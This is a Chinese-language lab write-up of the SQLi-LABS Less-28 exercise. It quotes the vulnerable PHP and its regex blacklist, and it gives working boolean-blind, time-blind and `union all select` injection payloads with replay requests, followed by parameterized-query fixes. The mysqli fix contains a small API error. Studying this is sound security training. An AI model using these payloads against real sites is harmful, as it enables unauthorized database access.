Less-28 审计报告:union\s+select 正则过滤绕过(括号单引号,盲注)
1. 关卡概述
| 项目 | 内容 |
|---|---|
| 关卡名称 | Less-28 Trick with SELECT & UNION |
| 源码路径 | Less-28/index.php |
| 漏洞类型 | SQL 注入 – 布尔盲注(union\s+select 正则过滤可绕过,('$id') 括号闭合) |
| 注入点参数 | GET /Less-28/?id= |
| 报错/盲注 | 盲注(无报错回显,仅有/无行差异) |
| 所需环境 | PHP 5.x + mysql 扩展 + MySQL 5.x |
2. 漏洞代码定位
文件: Less-28/index.php
// 第 20 行:用户输入直接取出
$id=$_GET['id'];
// 第 27 行:黑名单过滤
$id= blacklist($id);
// 第 34 行:括号 + 单引号包裹
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
// 第 48 行:无报错回显(print_r 被注释)
//print_r(mysql_error());
// 第 57~67 行:黑名单
function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --.
$id= preg_replace('/[#]/',"", $id); //Strip out #.
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
//$id= preg_replace('/select/m',"", $id); //(已注释)
$id= preg_replace('/[ +]/',"", $id); //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id); //Strip out UNION & SELECT.
return $id;
}
3. 漏洞分析
- 过滤机制:
- 删除注释符
/*、--、#; - 删除空格与
+([ +]); - 删除
union\s+select(大小写不敏感,\s+匹配一个及以上空白,包括 Tab/换行/垂直制表符)。
- 删除注释符
- 关键更正(依据实际代码):
union%0aselect也会被删——/union\s+select/i中的\s在 PCRE 中匹配\n(换行),因此用换行、Tab、垂直制表符连接union与select均无法绕过该正则。- 真正可绕过的写法是在两者之间插入其它 token 打断匹配,例如
union%0aall%0aselect(插入all)或union/**/select(但/*已被删,此路不通)。
- 闭合方式:
WHERE id=('$id'),payload 以1')闭合(',以('1结尾配合模板尾部')完成闭合。 - 盲注判定:无报错回显,仅"有行/无行"。
and、||、&&、extractvalue均未被过滤,可用and+%0a(换行)做布尔盲注(注意[ +]只删空格/加号,不删换行)。 - 可被绕过的本质:正则只拦截
union紧跟空白紧跟select这一种形态;and与运算符完全未过滤,布尔盲注畅通。
4. 利用方式
步骤一:确认 union select 与 union%0aselect 均被过滤
?id=1' union select 1,2,3-- -→ 命中正则被删,语法错。?id=1' union%0aselect 1,2,3-- -→\s匹配换行,同样被删,语法错 → 证明换行不能绕过该正则。
步骤二:布尔盲注(核心 payload,and 未被过滤,换行 %0a 作空白)
1')%0aand%0a(ascii(substr(database(),1,1))%3E100)%0aand%0a('1
拼接后:
SELECT * FROM users WHERE id=('1') and (ascii(substr(database(),1,1))>100) and ('1') LIMIT 0,1
- 条件真 →
('1') and 1 and ('1')=id=1→ 有行; - 条件假 →
('1') and 0 and ('1')=id=0→ 无行。
逐字符二分爆破 security。
步骤三:确认 union all select 形态可绕过正则(供显示型利用参考)
-1')%0aunion%0aall%0aselect%0a1,2,database()%0aand%0a('1
union%0aall%0aselect:正则要求union后紧跟\s+select,all插入后\s+后面是all而非select,故不匹配、不被删。但由于注释符被过滤,联合查询需要额外构造闭合(较繁琐),布尔盲注更实用。
步骤四:时间盲注(替代方案)
1')%0aand%0aif((database())='security',sleep(5),1)%0aand%0a('1
5. Yakit 重放数据包
GET /sqli-labs/Less-28/?id=1')%0aand%0a(ascii(substr(database(),1,1))%3E100)%0aand%0a('1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
时间盲注报文:
GET /sqli-labs/Less-28/?id=1')%0aand%0aif((database())='security',sleep(5),1)%0aand%0a('1 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close
换行
%0a不会被[ +]过滤,保持 URL 编码发送即可。用响应体是否含Your Login name判定真假。
6. 修复建议
修复一:PDO 预处理
<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();
修复二:mysqli 预处理
<?php
$stmt = $mysqli->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$row = $stmt->fetch_assoc();
修复三:加固要点
- 正则黑名单只拦一种形态,防不住
and/||/if()/布尔盲注——必须参数化。 id参数ctype_digit()/is_numeric()强校验。- 关闭报错回显;对
SLEEP/BENCHMARK等高耗时函数做 SQL 层面的行为检测与限流。 - 数据库最小权限,升级 PHP 7+ / 8+。
附:验证与复现说明
- 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
- 复现前提:导入
sql-lab.sql、配置sql-connections/db-creds.inc、PHP 5.x +mysql扩展。
正文完